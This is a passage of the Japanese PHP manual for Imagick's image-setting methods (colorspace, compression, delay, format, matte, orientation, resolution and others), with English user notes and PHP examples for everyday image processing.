//    $img->setImageColorspace (imagick::COLORSPACE_RGB);

if ($img->getImageColorspace() == Imagick::COLORSPACE_CMYK) {
   $profiles = $img->getImageProfiles('*', false);
   // we're only interested if ICC profile(s) exist
   $has_icc_profile = (array_search('icc', $profiles) !== false);
   // if it doesnt have a CMYK ICC profile, we add one
   if ($has_icc_profile === false) {
       $icc_cmyk = file_get_contents(dirname(__FILE__).'/USWebUncoated.icc');
       $img->profileImage('icc', $icc_cmyk);
       unset($icc_cmyk);
   }
   // then we add an RGB profile
   $icc_rgb = file_get_contents(dirname(__FILE__).'/sRGB_v4_ICC_preference.icc');
   $img->profileImage('icc', $icc_rgb);
   unset($icc_rgb);
}

$img->stripImage (); // this will drop down the size of the image dramatically (removes all profiles)
?>
mettedraq at gmail dot com 01-Jul-2010 12:21
This is how to Monochrome a jpg [on Windows].. since I couldn't find it anywhere else.

<?php
header("Content-type: image/jpeg");

$IMagick = new IMagick('c:\\testing\\fruit.jpg');
$IMagick->setImageColorSpace(Imagick::COLORSPACE_GRAY);

echo $IMagick;
?>
charlie at midsouthhost dot com 06-May-2010 09:45
If your getting strange/bad color rendering from a PDF, after trying the colorspace constants noted by jdstraughan, try other values outside that range.

In one case for me only $image->setImageColorSpace(22) provided useful color. I have found posts elsewhere using values up to 255.
jdstraughan dot com at gmail dot com 26-Sep-2008 12:16
FYI, here is the breakdown for (int $colorspace):

Constants:
0 - UndefinedColorspace
1 - RGBColorspace
2 - GRAYColorspace
3 - TransparentColorspace
4 - OHTAColorspace
5 - LABColorspace
6 - XYZColorspace
7 - YCbCrColorspace
8 - YCCColorspace
9 - YIQColorspace
10 - YPbPrColorspace
11 - YUVColorspace
12 - CMYKColorspace
13 - sRGBColorspace
14 - HSBColorspace
15 - HSLColorspace
16 - HWBColorspace


画像の合成演算子を設定する

  • ≪ Imagick::setImageColorspace
  • Imagick::setImageCompression ≫
  • PHP Manual
  • Imagick
  • 画像の合成演算子を設定する

Imagick::setImageCompose

(PECL imagick 2, PECL imagick 3)

Imagick::setImageCompose — 画像の合成演算子を設定する

説明

public Imagick::setImageCompose ( int $compose ) : bool

画像の合成演算子を設定します。Imagick::montageImage() メソッドを使用して画像のサムネイルを作成する方法を指定する際に便利です。

パラメータ

compose

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の圧縮を設定する

  • ≪ Imagick::setImageCompose
  • Imagick::setImageCompressionQuality ≫
  • PHP Manual
  • Imagick
  • 画像の圧縮を設定する

Imagick::setImageCompression

(PECL imagick 2, PECL imagick 3)

Imagick::setImageCompression — 画像の圧縮を設定する

説明

public Imagick::setImageCompression ( int $compression ) : bool

画像の圧縮を設定します。

パラメータ

compression

COMPRESSION 定数のいずれか。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

xudongding 09-Aug-2019 09:14
const COMPRESSION_UNDEFINED = 0;
const COMPRESSION_NO = 1;
const COMPRESSION_BZIP = 2;
const COMPRESSION_FAX = 6;
const COMPRESSION_GROUP4 = 7;
const COMPRESSION_JPEG = 8;
const COMPRESSION_JPEG2000 = 9;
const COMPRESSION_LOSSLESSJPEG = 10;
const COMPRESSION_LZW = 11;
const COMPRESSION_RLE = 12;
const COMPRESSION_ZIP = 13;
const COMPRESSION_DXT1 = 3;
const COMPRESSION_DXT3 = 4;
const COMPRESSION_DXT5 = 5;
const COMPRESSION_ZIPS = 14;
const COMPRESSION_PIZ = 15;
const COMPRESSION_PXR24 = 16;
const COMPRESSION_B44 = 17;
const COMPRESSION_B44A = 18;
const COMPRESSION_LZMA = 19;
const COMPRESSION_JBIG1 = 20;
const COMPRESSION_JBIG2 = 21;
jacob at fragdev dot com 19-Apr-2019 04:12
On Ubuntu 18.04, these are the default compression methods used for the following common image formats:

PNG:  Imagick::COMPRESSION_ZIP
JPEG: Imagick::COMPRESSION_JPEG
GIF:  Imagick::COMPRESSION_LZW
snipes2083 [at] yahoo com 28-Mar-2010 10:03
Above it says "One of the COMPRESSION constants" for the parameters.  For any of you that found this confusing, you can find a list of the constants here:

Predefined Constants
http://www.php.net/manual/en/imagick.constants.php

As an example for working with a jpeg image:

<?php
    $image = 'jpeg_image.jpg';
    $comression_type = Imagick::COMPRESSION_JPEG;

    $im = new Imagick($image);
    $im->setImageCompression($compression_type);
?>

This class does not actually compress the images but rather sets the compression type that is going to be used.

If you would like to see how to compress the image see:
Imagick::setImageCompressionQuality


画像の圧縮品質を設定する

  • ≪ Imagick::setImageCompression
  • Imagick::setImageDelay ≫
  • PHP Manual
  • Imagick
  • 画像の圧縮品質を設定する

Imagick::setImageCompressionQuality

(PECL imagick 2, PECL imagick 3)

Imagick::setImageCompressionQuality — 画像の圧縮品質を設定する

説明

public Imagick::setImageCompressionQuality ( int $quality ) : bool

画像の圧縮品質を設定します。

パラメータ

quality

画像の圧縮品質を表す整数値。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::setImageCompressionQuality()

<?php
function setImageCompressionQuality($imagePath, $quality) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->setImageCompressionQuality($quality);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

vhpvhp at msn dot com 08-Nov-2018 09:30
For a PNG image, `setImageCompressionQuality()` is not work at all, length of the generated files are totally same.

But I found an effective way, that is use `setOption('png:compression-level', 9)`, the value range is 0-9.
dylan dot arnold at gmail dot com 23-Aug-2012 03:23
I had strange results when trying to get good png compression.

I used Imagick::COMPRESSION_ZIP

Here are a few file sizes for a few compression levels.

0: 236,100
1: 274,035
9: 258,379
50: 241,282
100: 240,156

Note the best result at 0. Also I got thrown off for a long time trying to get similar results to gimp. Make sure your image depth is set to 8, it appears to be 16 bits per channel, at least for me.

You can check with identify -verbose filename.png

You can also strip a bit more file size with $image->stripImage();
Anonymous 20-Jun-2012 02:56
The default value fot the JPEG compression quality appears to be 86.
snipes2083 [at] yahoo com 28-Mar-2010 11:35
This example shows how to set the compression type, set the compression quality, create a thumbnail and remove unnecessary data in order to reduce file size.

This will use the following functions in reference:
Imagick::setImageCompression
Imagick::setImageCompressionQuality
Imagick::stripImage
Imagick::thumbnailImage
Imagick::writeImage

<?php
    $image = 'image.jpg';
    $directory = '/path/to/image';
    $image_location = $directory . "/" . $image;
    $thumb_destination = $directory . "/t" . $image;
    $compression_type = Imagick::COMPRESSION_JPEG;

    $im = new Imagick($image_location);
    $thumbnail = $im->clone;

    $thumbnail->setImageCompression($compression_type);
    $thumbnail->setImageCompressionQuality(40);
    $thumbnail->stripImage();
    $thumbnail->thumbnailImage(100,null);
    $thumbnail->writeImage($thumb_destination);
?>

Now, obviously you don't have to do so much with the variables and the file location.  I only used so many to demonstrate where the images are coming from and where they are going.

NOTE:  The $thumbnail->thumbnailImage(100,null); keeps the aspect ration by setting the second parameter to null.  Read about this at Imagick::thumbnailImage

There is another way to create thumbnails that works quite well if you want to crop the image rather than using the entire image.  Check out Imagick::cropThumbnailImage


画像の遅延を設定する

  • ≪ Imagick::setImageCompressionQuality
  • Imagick::setImageDepth ≫
  • PHP Manual
  • Imagick
  • 画像の遅延を設定する

Imagick::setImageDelay

(PECL imagick 2, PECL imagick 3)

Imagick::setImageDelay — 画像の遅延を設定する

説明

public Imagick::setImageDelay ( int $delay ) : bool

画像の遅延を設定します。アニメーション画像の場合、この値は、 今のフレームから次のフレームに移動するまでの時間になります。

パラメータ

delay

画像を表示させる時間を 'ticks' で表した値。 アニメーション GIF の場合は 1 秒間に 100 ticks なので、 20 を設定すると 20/100 秒つまり 1/5 秒ということになります。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::setImageDelay() を使ったアニメーション GIF の変更

<?php

// アニメーション GIF を変更し、各フレームの表示時間を 50ms から 0ms に徐々に変えていきます。
// 0ms にすると、たいていのブラウザでは表示をスキップするようになります。
$imagick = new Imagick(realpath("Test.gif"));
$imagick = $imagick->coalesceImages();

$frameCount = 0;

foreach ($imagick as $frame) {
    $imagick->setImageDelay((($frameCount % 11) * 5));
    $frameCount++;
}

$imagick = $imagick->deconstructImages();

$imagick->writeImages("/path/to/save/output.gif", true);

?>

User Contributed Notes

fortruth at mabang dot net 03-Jun-2010 08:02
the delay time unit is micro-second  when 100  is  1s


画像の深度を設定する

  • ≪ Imagick::setImageDelay
  • Imagick::setImageDispose ≫
  • PHP Manual
  • Imagick
  • 画像の深度を設定する

Imagick::setImageDepth

(PECL imagick 2, PECL imagick 3)

Imagick::setImageDepth — 画像の深度を設定する

説明

public Imagick::setImageDepth ( int $depth ) : bool

画像の深度を設定します。

パラメータ

depth

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

kehrigan at gmail dot com 23-Jul-2014 08:25
Depth is a number in terms of bits. Floats seem to be accepted.

From the ImageMagick documentation:
"This the number of bits in a color sample within a pixel. Use this option to specify the depth of raw images whose depth is unknown such as GRAY, RGB, or CMYK, or to change the depth of any image after it has been read."


画像の配置方法を設定する

  • ≪ Imagick::setImageDepth
  • Imagick::setImageExtent ≫
  • PHP Manual
  • Imagick
  • 画像の配置方法を設定する

Imagick::setImageDispose

(PECL imagick 2, PECL imagick 3)

Imagick::setImageDispose — 画像の配置方法を設定する

説明

public Imagick::setImageDispose ( int $dispose ) : bool

画像の配置方法を設定します。

パラメータ

dispose

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

malou_pitawawa at hotmail dot com 16-Jan-2010 04:00
The layer disposal method defines the way each the displayed image is to be modified after the current 'frame' of an animation has finished being displayed (after its 'delay' period), but before the next frame on an animation is to be overlaid onto the display.

Value for $dispose:

Undefined: 0 -> No disposal specified (equivalent to 'none').
None: 1 -> Do not dispose, just overlay next frame image.
Background: 2 -> Clear the frame area with the background color.
Previous: 3 -> Clear to the image prior to this frames overlay.

from: http://www.imagemagick.org/script/command-line-options.php?#dispose


画像のサイズを設定する

  • ≪ Imagick::setImageDispose
  • Imagick::setImageFilename ≫
  • PHP Manual
  • Imagick
  • 画像のサイズを設定する

Imagick::setImageExtent

(PECL imagick 2, PECL imagick 3)

Imagick::setImageExtent — 画像のサイズを設定する

説明

public Imagick::setImageExtent ( int $columns , int $rows ) : bool

画像のサイズ (つまりカラム数と行数) を設定します。

パラメータ

columns

rows

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

charles dot p dot hall at gmail dot com 29-Oct-2014 05:31
In other graphics systems I have seen this referred to as Canvas size or re-dimensioning. It changes the dimension of the image without re-scaling. Added pixels appear black, removed pixels are simply cropped away.
tim at komta dot com 19-Oct-2009 12:02
This function actually sets the width and height of the image (in pixels).

Took me forever to figure this out.


特定の画像のファイル名を設定する

  • ≪ Imagick::setImageExtent
  • Imagick::setImageFormat ≫
  • PHP Manual
  • Imagick
  • 特定の画像のファイル名を設定する

Imagick::setImageFilename

(PECL imagick 2, PECL imagick 3)

Imagick::setImageFilename — 特定の画像のファイル名を設定する

説明

public Imagick::setImageFilename ( string $filename ) : bool

シーケンス内の特定の画像のファイル名を設定します。

パラメータ

filename

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


特定の画像のフォーマットを設定する

  • ≪ Imagick::setImageFilename
  • Imagick::setImageGamma ≫
  • PHP Manual
  • Imagick
  • 特定の画像のフォーマットを設定する

Imagick::setImageFormat

(PECL imagick 2, PECL imagick 3)

Imagick::setImageFormat — 特定の画像のフォーマットを設定する

説明

public Imagick::setImageFormat ( string $format ) : bool

シーケンス内の特定の画像のフォーマットを設定します。

パラメータ

format

画像フォーマットを表す文字列。対応するフォーマットは、 インストールされている ImageMagick に依存します。

返り値

成功した場合に true を返します。

User Contributed Notes

layzee dot dk at gmail dot com 01-Jul-2013 06:44
This method only affects the individual loaded/constructed images.

To set the format of the entire object, use the Imagick::setFormat method. E.g. load TIFF files, then use setFormat('pdf') on the Imagick object, then writeImagesFile('foo.pdf') or getImagesBlob().
markus dot s dot schmitz at gmail dot com 11-Dec-2012 01:47
If you use writeFile or writeFiles without setting the format, it is automatically set according to the file extension used within the parameter of writeFile.
nathan at crause dot name 18-Aug-2010 09:35
For those of you completely confused by the utter lack of documentation for this class (including notes being dropped, probably this one included), the differences between any "setXXX" and "setImageXXX" seems to be entirely dependently on HOW the image was loaded.

If the image was loaded at object constructor time, it seems that you use "setXXX" - if you loaded it after the fact (such as via "readImageBlob") then you use "setImageXXX".

This is irregular, however. For example:

<?php
        $image = new Imagick();

        $image->setResolution(300, 300);
        $image->readImageBlob(...);
        // convert the output to JPEG
        $image->setImageFormat('jpeg');
        $image->setImageCompressionQuality(90);
?>

Note that we use "setResolution" not "setImageResolution".
andy at live dot nl 26-Feb-2009 06:54
I had a problem when using $im->setImageFormat('jpeg');
Image colors got inverted when i converted pdfs to jpg thumbs.
Had to add $im->setImageColorspace(255); to solve it.

<?php
// read page 1
$im = new imagick( 'test.pdf[ 0]' );

// convert to jpg
$im->setImageColorspace(255);
$im->setCompression(Imagick::COMPRESSION_JPEG);
$im->setCompressionQuality(60);
$im->setImageFormat('jpeg');

//resize
$im->resizeImage(290, 375, imagick::FILTER_LANCZOS, 1);

//write image on server
$im->writeImage('thumb.jpg');
$im->clear();
$im->destroy();
?>
barclay[dot]loftus[at]gmail.com 12-Mar-2008 03:04
Another note about image output. For jpeg images, the quality is adjusted by Imagick::setCompressionQuality().

<?php
$img->setCompressionQuality(90);
$img->setImageFormat('jpeg');
header('Content-type: image/jpg');
echo $img;
?>
optymizer at yahoo dot com 21-Nov-2007 03:09
The previous example did not work for me. I received an error that the IMagick object cannot be converted to string.

This example uses the IMagick::getImageBlob() method to properly output the contents of the converted image:

function getImage($filename)
{
            $image->readImage($filename);
            $image->setImageFormat("png");
            header("Content-type: image/png");
            echo $image->getImageBlob();
}

Hope this helps!
Devo 07-Oct-2007 08:02
A list of formats can be found here: http://www.imagemagick.org/script/formats.php

Formats marked with a W can be output to file with writeImage (capabilities depend on your particular installation of course).

For example:

<?php
// create new imagick object from image.jpg
$im = new Imagick( "image.jpg" );

// change format to png
$im->setImageFormat( "png" );

// output the image to the browser as a png
header( "Content-Type: image/png" );
echo $im;

// or you could output the image to a file:
//$im->writeImage( "image.png" );
?>


画像のガンマを設定する

  • ≪ Imagick::setImageFormat
  • Imagick::setImageGravity ≫
  • PHP Manual
  • Imagick
  • 画像のガンマを設定する

Imagick::setImageGamma

(PECL imagick 2, PECL imagick 3)

Imagick::setImageGamma — 画像のガンマを設定する

説明

public Imagick::setImageGamma ( float $gamma ) : bool

画像のガンマを設定します。

パラメータ

gamma

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の gravity を設定する

  • ≪ Imagick::setImageGamma
  • Imagick::setImageGreenPrimary ≫
  • PHP Manual
  • Imagick
  • 画像の gravity を設定する

Imagick::setImageGravity

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::setImageGravity — 画像の gravity を設定する

説明

public Imagick::setImageGravity ( int $gravity ) : bool

原罪の画像の gravity プロパティを設定します。 このメソッドを使うと、単一の画像シーケンスの gravity プロパティを設定することができます。 このメソッドは、ImageMagick バージョン 6.4.4 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

gravity

gravity プロパティ。 gravity 定数 の一覧を参照ください。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


緑が一番強い点を設定する

  • ≪ Imagick::setImageGravity
  • Imagick::setImageIndex ≫
  • PHP Manual
  • Imagick
  • 緑が一番強い点を設定する

Imagick::setImageGreenPrimary

(PECL imagick 2, PECL imagick 3)

Imagick::setImageGreenPrimary — 緑が一番強い点を設定する

説明

public Imagick::setImageGreenPrimary ( float $x , float $y ) : bool

緑が一番強い点を設定します。

パラメータ

x

y

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


イテレータの位置を設定する

  • ≪ Imagick::setImageGreenPrimary
  • Imagick::setImageInterlaceScheme ≫
  • PHP Manual
  • Imagick
  • イテレータの位置を設定する

Imagick::setImageIndex

(PECL imagick 2, PECL imagick 3)

Imagick::setImageIndex — イテレータの位置を設定する

警告

この関数は Imagick 3.4.4 以降では 非推奨 になりました。この関数に依存したコードを書くのはやめましょう。

説明

public Imagick::setImageIndex ( int $index ) : bool

画像リスト内でのイテレータの位置、index パラメータで指定した場所に設定します。

このメソッドは非推奨です。 Imagick::setIteratorIndex() を参照ください。

パラメータ

index

イテレータを設定する位置。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

maulik_Vr at yahoo dot co dot in 22-Apr-2013 07:37
when you read pdf by getImageBlog and want to get the image or blob of a specific page, use this function as below.

$ims = new Imagick();

$ims->readImageBlob($pdfFileContent);

$ims->setImageIndex(5); //this will return 6th page of the pdf file
$image->setImageFormat('png');
            //etc
$blob = $image->getImageBlob();
Rob Hidalgo 09-Oct-2012 05:05
When reading a PDF from an ImageBlob, and you want to set the page to be used, this is the function to use.


画像のインターレース手法を設定する

  • ≪ Imagick::setImageIndex
  • Imagick::setImageInterpolateMethod ≫
  • PHP Manual
  • Imagick
  • 画像のインターレース手法を設定する

Imagick::setImageInterlaceScheme

(PECL imagick 2, PECL imagick 3)

Imagick::setImageInterlaceScheme — 画像のインターレース手法を設定する

説明

public Imagick::setImageInterlaceScheme ( int $interlace_scheme ) : bool

画像の圧縮を設定します。

パラメータ

interlace_scheme

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

WJS 17-Nov-2014 03:21
This function doesn't appear to do anything. Use setInterlaceScheme instead.


画像のピクセル補間方式を設定する

  • ≪ Imagick::setImageInterlaceScheme
  • Imagick::setImageIterations ≫
  • PHP Manual
  • Imagick
  • 画像のピクセル補間方式を設定する

Imagick::setImageInterpolateMethod

(PECL imagick 2, PECL imagick 3)

Imagick::setImageInterpolateMethod — 画像のピクセル補間方式を設定する

説明

public Imagick::setImageInterpolateMethod ( int $method ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

画像のピクセル補間方式を設定します。

パラメータ

method

Imagick::INTERPOLATE_* 定数のいずれか。

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


画像の反復を設定する

  • ≪ Imagick::setImageInterpolateMethod
  • Imagick::setImageMatte ≫
  • PHP Manual
  • Imagick
  • 画像の反復を設定する

Imagick::setImageIterations

(PECL imagick 2, PECL imagick 3)

Imagick::setImageIterations — 画像の反復を設定する

説明

public Imagick::setImageIterations ( int $iterations ) : bool

アニメーション画像の繰り返し回数を設定します。

パラメータ

iterations

画像をループさせる回数。'0' を指定すると、ずっとループし続けます。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 基本的な Imagick::setImageIterations() の使用例

<?php

$imagick = new Imagick(realpath("Test.gif"));

$imagick = $imagick->coalesceImages();
$imagick->setImageIterations(1);
$imagick = $imagick->deconstructImages();

$imagick->writeImages('/path/to/save/OnceOnly.gif', true);

?>

User Contributed Notes

There are no user contributed notes for this page.


画像のマットチャネルを設定する

  • ≪ Imagick::setImageIterations
  • Imagick::setImageMatteColor ≫
  • PHP Manual
  • Imagick
  • 画像のマットチャネルを設定する

Imagick::setImageMatte

(PECL imagick 2, PECL imagick 3)

Imagick::setImageMatte — 画像のマットチャネルを設定する

説明

public Imagick::setImageMatte ( bool $matte ) : bool

画像のマットチャネルを設定します。 このメソッドは、ImageMagick バージョン 6.2.9 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

matte

True にするとマットチャネルを有効にし、false の場合は無効にします。

返り値

成功した場合に true を返します。

User Contributed Notes

martin at psinas dot com 05-Oct-2011 06:33
I found this method is needed when creating a font / image mask, and needs to be set to false otherwise the mask won't take effect. Here is an example:

<?php

// Create objects
$image = new Imagick('myImage.png');
$watermark = new Imagick();
$mask = new Imagick();
$draw = new ImagickDraw();

// Define dimensions
$width = $image->getImageWidth();
$height = $image->getImageHeight();

// Create some palettes
$watermark->newImage($width, $height, new ImagickPixel('grey30'));
$mask->newImage($width, $height, new ImagickPixel('black'));

// Watermark text
$text = 'Copyright';

// Set font properties
$draw->setFont('Bookman-Demi');
$draw->setFontSize(20);
$draw->setFillColor('grey70');

// Position text
$draw->setGravity(Imagick::GRAVITY_SOUTHEAST);

// Draw text on the watermark palette
$watermark->annotateImage($draw, 10, 12, 0, $text);

// Draw text on the mask palette
$draw->setFillColor('white');
$mask->annotateImage($draw, 11, 13, 0, $text);
$mask->annotateImage($draw, 10, 12, 0, $text);
$draw->setFillColor('black');
$mask->annotateImage($draw, 9, 11, 0, $text);

// This is apparently needed for the mask to work
$mask->setImageMatte(false);

// Apply mask to watermark
$watermark->compositeImage($mask, Imagick::COMPOSITE_COPYOPACITY, 0, 0);

// Overlay watermark on image
$image->compositeImage($watermark, Imagick::COMPOSITE_DISSOLVE, 0, 0);

// Set output image format
$image->setImageFormat('png');

// Output the new image
header('Content-type: image/png');
echo $image;

?>


画像のマット色を設定する

  • ≪ Imagick::setImageMatte
  • Imagick::setImageOpacity ≫
  • PHP Manual
  • Imagick
  • 画像のマット色を設定する

Imagick::setImageMatteColor

(PECL imagick 2, PECL imagick 3)

Imagick::setImageMatteColor — 画像のマット色を設定する

警告

この関数は Imagick 3.4.4 以降では 非推奨 になりました。この関数に依存したコードを書くのはやめましょう。

説明

public Imagick::setImageMatteColor ( mixed $matte ) : bool

画像のマット色を設定します。

パラメータ

matte

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

変更履歴

バージョン | 説明
PECL imagick 2.1.0 | 色を表す文字列をパラメータとして指定できるようになりました。 これまでのバージョンでは ImagickPixel オブジェクトしか指定できませんでした。

User Contributed Notes

There are no user contributed notes for this page.


画像の不透明度を設定する

  • ≪ Imagick::setImageMatteColor
  • Imagick::setImageOrientation ≫
  • PHP Manual
  • Imagick
  • 画像の不透明度を設定する

Imagick::setImageOpacity

(PECL imagick 2, PECL imagick 3)

Imagick::setImageOpacity — 画像の不透明度を設定する

警告

この関数は Imagick 3.4.4 以降では 非推奨 になりました。この関数に依存したコードを書くのはやめましょう。

説明

public Imagick::setImageOpacity ( float $opacity ) : bool

画像の不透明度を設定します。このメソッドは、ImageMagick バージョン 6.3.1 以降で Imagick をコンパイルした場合に使用可能です。 このメソッドはすべてのチャネルを操作します。つまり、不透明度を 0.5 にすると、 すべての透明な部分が半透明になるということです。すでに透明になっていない範囲に透明度を追加するには、 Imagick::evaluateImage() を使いましょう。

パラメータ

opacity

透明度。1.0 が完全な不透明で、0.0 が完全な透明です。

返り値

成功した場合に true を返します。

例

例1 Imagick::setImageOpacity() の例

Imagick::setImageOpacity() を使用する例です。

<?php
/* オブジェクトを作成します */
$image = new Imagick('source.png');

/* 透明度を設定します */
$image->setImageOpacity(0.7);

/* 画像を出力します */
header('Content-type: image/png');
echo $image;

?>

User Contributed Notes

hola at rafaeltovar dot info 15-Oct-2019 03:18
This function is deprecated from last stable version (3.4.4 - 2019-05-02) of PECL Imagick extension.

More info: http://pecl.php.net/package-changelog.php?package=imagick&release=3.4.4

"setImageAlpha" is the new alternative function, but doesn't work with ImageMagick < 7.

More info: https://github.com/avalanche123/Imagine/issues/715


画像の方向を設定する

  • ≪ Imagick::setImageOpacity
  • Imagick::setImagePage ≫
  • PHP Manual
  • Imagick
  • 画像の方向を設定する

Imagick::setImageOrientation

(PECL imagick 2, PECL imagick 3)

Imagick::setImageOrientation — 画像の方向を設定する

説明

public Imagick::setImageOrientation ( int $orientation ) : bool

画像の方向を設定します。

パラメータ

orientation

方向定数 のいずれか。

返り値

成功した場合に true を返します。

例

例1 Imagick::setImageOrientation()

<?php
//Doesn't appear to do anything
function setImageOrientation($imagePath, $orientationType) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->setImageOrientation($orientationType);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

orrd101 at yahoo dot com 20-Feb-2013 09:20
Be aware that Imagick::setImageOrientation() doesn't actually rotate the image, it just changes the EXIF rotation info that will be saved with the image. In some cases that may be what you want to do, but  if you're trying to rotate an image, this probably isn't the way you want to do it. The problem with relying on the EXIF rotation info is that many web browsers ignore and some image viewing software ignore the EXIF information and don't auto-rotate it automatically.  This function is best used to correct EXIF rotation information just before saving an image.

To actually rotate an image, use Imagick::rotateImage().

And then maybe use this function to save the correct EXIF orientation data.  For example: $image->setImageOrientation(imagick::ORIENTATION_TOPLEFT);


画像のページのジオメトリを設定する

  • ≪ Imagick::setImageOrientation
  • Imagick::setImageProfile ≫
  • PHP Manual
  • Imagick
  • 画像のページのジオメトリを設定する

Imagick::setImagePage

(PECL imagick 2, PECL imagick 3)

Imagick::setImagePage — 画像のページのジオメトリを設定する

説明

public Imagick::setImagePage ( int $width , int $height , int $x , int $y ) : bool

画像のページのジオメトリを設定します。

パラメータ

width

height

x

y

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

Darren Burnhill 19-May-2009 05:03
This would appear to be the equivalent of +repage in ImageMagick.

<?php
  $ImagickObj = new Imagick($sourceImagePath);
  $ImagickObj->cropImage($_POST['w'], $_POST['h'], $_POST['x'], $_POST['y']);
  $ImagickObj->setImagePage($_POST['w'], $_POST['h'], 0, 0);
  $ImagickObj->writeImage($cropFilePath);
?>


指定した名前の画像プロファイルを Imagick オブジェクトに追加する

  • ≪ Imagick::setImagePage
  • Imagick::setImageProperty ≫
  • PHP Manual
  • Imagick
  • 指定した名前の画像プロファイルを Imagick オブジェクトに追加する

Imagick::setImageProfile

(PECL imagick 2, PECL imagick 3)

Imagick::setImageProfile — 指定した名前の画像プロファイルを Imagick オブジェクトに追加する

説明

public Imagick::setImageProfile ( string $name , string $profile ) : bool

指定した名前の画像プロファイルを Imagick オブジェクトに追加します。 同じ名前のプロファイルが存在する場合は、それを置き換えます。 このメソッドは Imagick::ProfileImage() メソッドとは異なり、 CMS カラープロファイルは適用しません。

パラメータ

name

profile

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像のプロパティを設定する

  • ≪ Imagick::setImageProfile
  • Imagick::setImageRedPrimary ≫
  • PHP Manual
  • Imagick
  • 画像のプロパティを設定する

Imagick::setImageProperty

(PECL imagick 2, PECL imagick 3)

Imagick::setImageProperty — 画像のプロパティを設定する

説明

public Imagick::setImageProperty ( string $name , string $value ) : bool

指定した名前のプロパティを画像に設定します。 このメソッドは、ImageMagick バージョン 6.3.2 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

name

value

例

例1 Imagick::setImageProperty() の使用法

画像のプロパティを設定し、そして取得します。

<?php
$image = new Imagick();
$image->newImage(300, 200, "black");

$image->setImageProperty('Exif:Make', 'Imagick');
echo $image->getImageProperty('Exif:Make');
?>

参考

  • Imagick::getImageProperty() - 指定した名前の画像のプロパティを返す

返り値

成功した場合に true を返します。

User Contributed Notes

Jocke Selin 15-Nov-2018 06:23
Please be aware that only 'comment' values are written to the file if it's a JPEG. This means that any other data, such as GPS data or Exif data can be 'modified' but will not be written to the file.  This might change in the future, but it hasn't change in 2 years.

For reference.
https://github.com/mkoppanen/imagick/issues/124
https://github.com/ImageMagick/ImageMagick/issues/55


赤が一番強い点を設定する

  • ≪ Imagick::setImageProperty
  • Imagick::setImageRenderingIntent ≫
  • PHP Manual
  • Imagick
  • 赤が一番強い点を設定する

Imagick::setImageRedPrimary

(PECL imagick 2, PECL imagick 3)

Imagick::setImageRedPrimary — 赤が一番強い点を設定する

説明

public Imagick::setImageRedPrimary ( float $x , float $y ) : bool

赤が一番強い点を設定します。

パラメータ

x

y

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像のレンダリング方向を設定する

  • ≪ Imagick::setImageRedPrimary
  • Imagick::setImageResolution ≫
  • PHP Manual
  • Imagick
  • 画像のレンダリング方向を設定する

Imagick::setImageRenderingIntent

(PECL imagick 2, PECL imagick 3)

Imagick::setImageRenderingIntent — 画像のレンダリング方向を設定する

説明

public Imagick::setImageRenderingIntent ( int $rendering_intent ) : bool

画像のレンダリング方向を設定します。

パラメータ

rendering_intent

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の解像度を設定する

  • ≪ Imagick::setImageRenderingIntent
  • Imagick::setImageScene ≫
  • PHP Manual
  • Imagick
  • 画像の解像度を設定する

Imagick::setImageResolution

(PECL imagick 2, PECL imagick 3)

Imagick::setImageResolution — 画像の解像度を設定する

説明

public Imagick::setImageResolution ( float $x_resolution , float $y_resolution ) : bool

画像の解像度を設定します。

パラメータ

x_resolution

y_resolution

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::setImageResolution()

<?php
function setImageResolution($imagePath) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->setImageResolution(50, 50);

    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

craig dot fairhurst at nospamyouds dot com 12-Feb-2010 10:12
Note that any changes to the resolution (-density option) must be made before specifying the file, so construct the object with no file path and then use $object->readImage('path/to/file'); otherwise the density won't change.
Also see Imagick::setResolution.
octave at web dot de 17-Jul-2009 09:27
